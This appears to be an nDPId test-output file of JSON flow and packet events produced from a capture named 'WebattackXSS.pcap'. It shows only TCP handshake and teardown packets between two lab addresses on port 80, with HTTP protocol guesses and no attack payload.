+00432{"flow_id":217,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3084,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":486709,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071NAAD4G1oSsEAABwKgKMttCAFArWL1c0jOvHYAQAOU+rgAAAQEICgE6UgkD5CN+"} +00432{"flow_id":214,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3088,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":709392,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bEVAAD4GWZOsEAABwKgKMtsMAFCNWiFWx4bqXYARAOVNDwAAAQEICgE6UkAD5B6M"} +00432{"flow_id":214,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3089,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":709582,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0yetAAEAG+ezAqAoyrBAAAQBQ2wzHhupdjVohV4ARAONH5gAAAQEICgPkI7YBOlJA"} +00432{"flow_id":214,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3090,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347338,"pkt_ts_usec":710350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bEZAAD4GWZKsEAABwKgKMtsMAFCNWiFXx4bqXoAQAOVH4wAAAQEICgE6UkED5CO2"} +00433{"flow_id":215,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3094,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":709066,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rupAAD4GFu6sEAABwKgKMtsaAFCxtOCnsedrPYARAOX74gAAAQEICgE6UzoD5B\/E"} +00432{"flow_id":215,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3095,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":709281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0T41AAEAGdEvAqAoyrBAAAQBQ2xqx52s9sbTgqIARAOP29wAAAQEICgPkJLABOlM6"} +00432{"flow_id":215,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3096,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":710022,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rutAAD4GFu2sEAABwKgKMtsaAFCxtOCosedrPoAQAOX29AAAAQEICgE6UzsD5CSw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3097,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":218,"flow_packet_id":1,"flow_first_seen":1499347339782,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56144,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":218,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3097,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":782537,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8e9RAAD4GSfysEAABwKgKMttQAFCK9SiZAAAAAKACchB7TQAAAgQFtAQCCAoBOlNNAAAAAAEDAwc="} +00444{"flow_id":218,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3098,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":782633,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ21AZ1nzCivUomqAScSC87AAAAgQFtAQCCAoD5CTDATpTTQEDAwc="} +00432{"flow_id":218,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3099,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347339,"pkt_ts_usec":783397,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e9VAAD4GSgOsEAABwKgKMttQAFCK9SiaGdZ8w4AQAOVb9AAAAQEICgE6U00D5CTD"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3106,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":219,"flow_packet_id":1,"flow_first_seen":1499347341106,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56158,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":219,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3106,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347341,"pkt_ts_usec":106252,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8aWRAAD4GXGysEAABwKgKMtteAFBkzD38AAAAAKACchCKugAAAgQFtAQCCAoBOlSYAAAAAAEDAwc="} +00445{"flow_id":219,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3107,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347341,"pkt_ts_usec":106427,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ217gSFdsZMw9\/aAScSAp8gAAAgQFtAQCCAoD5CYOATpUmAEDAwc="} +00432{"flow_id":219,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347341,"pkt_ts_usec":107144,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aWVAAD4GXHOsEAABwKgKMtteAFBkzD394EhXbYAQAOXI+QAAAQEICgE6VJgD5CYO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3115,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":220,"flow_packet_id":1,"flow_first_seen":1499347342386,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56172,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":220,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3115,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":386338,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8DyJAAD4Gtq6sEAABwKgKMttsAFDfC1r6AAAAAKACchDyLgAAAgQFtAQCCAoBOlXYAAAAAAEDAwc="} +00444{"flow_id":220,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3116,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":386423,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ22zAs3dz3wta+6AScSCPtAAAAgQFtAQCCAoD5CdOATpV2AEDAwc="} +00432{"flow_id":220,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":387197,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DyNAAD4GtrWsEAABwKgKMttsAFDfC1r7wLN3dIAQAOUuvAAAAQEICgE6VdgD5CdO"} +00432{"flow_id":216,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3121,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":709119,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TYdAAD4GeFGsEAABwKgKMts0AFCRRx1MCh9rrIARAOWBfQAAAQEICgE6VigD5CJE"} +00432{"flow_id":216,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3122,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":709350,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TDJAAEAGd6bAqAoyrBAAAQBQ2zQKH2uskUcdTYARAON8JAAAAQEICgPkJ54BOlYo"} +00432{"flow_id":216,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3123,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347342,"pkt_ts_usec":710081,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TYhAAD4GeFCsEAABwKgKMts0AFCRRx1NCh9rrYAQAOV8IQAAAQEICgE6VikD5Cee"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3127,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":221,"flow_packet_id":1,"flow_first_seen":1499347343672,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56186,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":221,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3127,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":672802,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83PZAAD4G6NmsEAABwKgKMtt6AFBC4YvvAAAAAKACchBcFQAAAgQFtAQCCAoBOlcZAAAAAAEDAwc="} +00444{"flow_id":221,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3128,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":672949,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ23pctqnYQuGL8KAScSAp8gAAAgQFtAQCCAoD5CiPATpXGQEDAwc="} +00432{"flow_id":221,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3129,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":673650,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03PdAAD4G6OCsEAABwKgKMtt6AFBC4YvwXLap2YAQAOXI+AAAAQEICgE6VxoD5CiP"} +00432{"flow_id":217,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3133,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":711075,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071RAAD4G1oOsEAABwKgKMttCAFArWL1c0jOvHYARAOU5kwAAAQEICgE6VyMD5CN+"} +00432{"flow_id":217,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3134,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":711278,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0h4RAAEAGPFTAqAoyrBAAAQBQ20LSM68dK1i9XYARAOM0eQAAAQEICgPkKJkBOlcj"} +00432{"flow_id":217,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3135,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347343,"pkt_ts_usec":711818,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA071VAAD4G1oKsEAABwKgKMttCAFArWL1d0jOvHoAQAOU0dwAAAQEICgE6VyMD5CiZ"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":6,"flow_first_seen":1499347271162,"flow_last_seen":1499347276694,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55416,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":6,"flow_first_seen":1499347271162,"flow_last_seen":1499347276694,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55416,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":6,"flow_first_seen":1499347272469,"flow_last_seen":1499347277695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55430,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":6,"flow_first_seen":1499347272469,"flow_last_seen":1499347277695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55430,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":6,"flow_first_seen":1499347273742,"flow_last_seen":1499347279695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55444,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":6,"flow_first_seen":1499347273742,"flow_last_seen":1499347279695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55444,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":6,"flow_first_seen":1499347276278,"flow_last_seen":1499347281695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55470,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":6,"flow_first_seen":1499347276278,"flow_last_seen":1499347281695,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55470,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":6,"flow_first_seen":1499347277521,"flow_last_seen":1499347282696,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55484,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":6,"flow_first_seen":1499347277521,"flow_last_seen":1499347282696,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55484,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":218,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3142,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347345,"pkt_ts_usec":711706,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e9ZAAD4GSgKsEAABwKgKMttQAFCK9SiaGdZ8w4ARAOVWKQAAAQEICgE6WRcD5CTD"} +00432{"flow_id":218,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347345,"pkt_ts_usec":711923,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Vk5AAEAGbYrAqAoyrBAAAQBQ21AZ1nzDivUom4ARAONQYAAAAQEICgPkKo0BOlkX"} +00432{"flow_id":218,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347345,"pkt_ts_usec":712662,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0e9dAAD4GSgGsEAABwKgKMttQAFCK9SibGdZ8xIAQAOVQXgAAAQEICgE6WRcD5CqN"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3149,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":222,"flow_packet_id":1,"flow_first_seen":1499347346211,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56212,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":222,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3149,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":211046,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8ZYhAAD4GYEisEAABwKgKMtuUAFCjBDwcAAAAAKACchBJMAAAAgQFtAQCCAoBOlmUAAAAAAEDAwc="} +00444{"flow_id":222,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":211138,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ25SXkk2howQ8HaAScSA17QAAAgQFtAQCCAoD5CsKATpZlAEDAwc="} +00432{"flow_id":222,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3151,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":211793,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZYlAAD4GYE+sEAABwKgKMtuUAFCjBDwdl5JNooAQAOXU9AAAAQEICgE6WZQD5CsK"} +00432{"flow_id":219,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3154,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":711781,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aWZAAD4GXHKsEAABwKgKMtteAFBkzD394EhXbYARAOXDfwAAAQEICgE6WhED5CYO"} +00433{"flow_id":219,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3155,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":712010,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fOpAAEAGRu7AqAoyrBAAAQBQ217gSFdtZMw9\/oARAOO+BwAAAQEICgPkK4cBOloR"} +00432{"flow_id":219,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347346,"pkt_ts_usec":712559,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0aWdAAD4GXHGsEAABwKgKMtteAFBkzD3+4EhXboAQAOW+BQAAAQEICgE6WhED5CuH"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3160,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":223,"flow_packet_id":1,"flow_first_seen":1499347347483,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56226,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":223,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3160,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":483570,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8D8lAAD4GtgesEAABwKgKMtuiAFCZ3FUbAAAAAKACchA4DQAAAgQFtAQCCAoBOlrSAAAAAAEDAwc="} 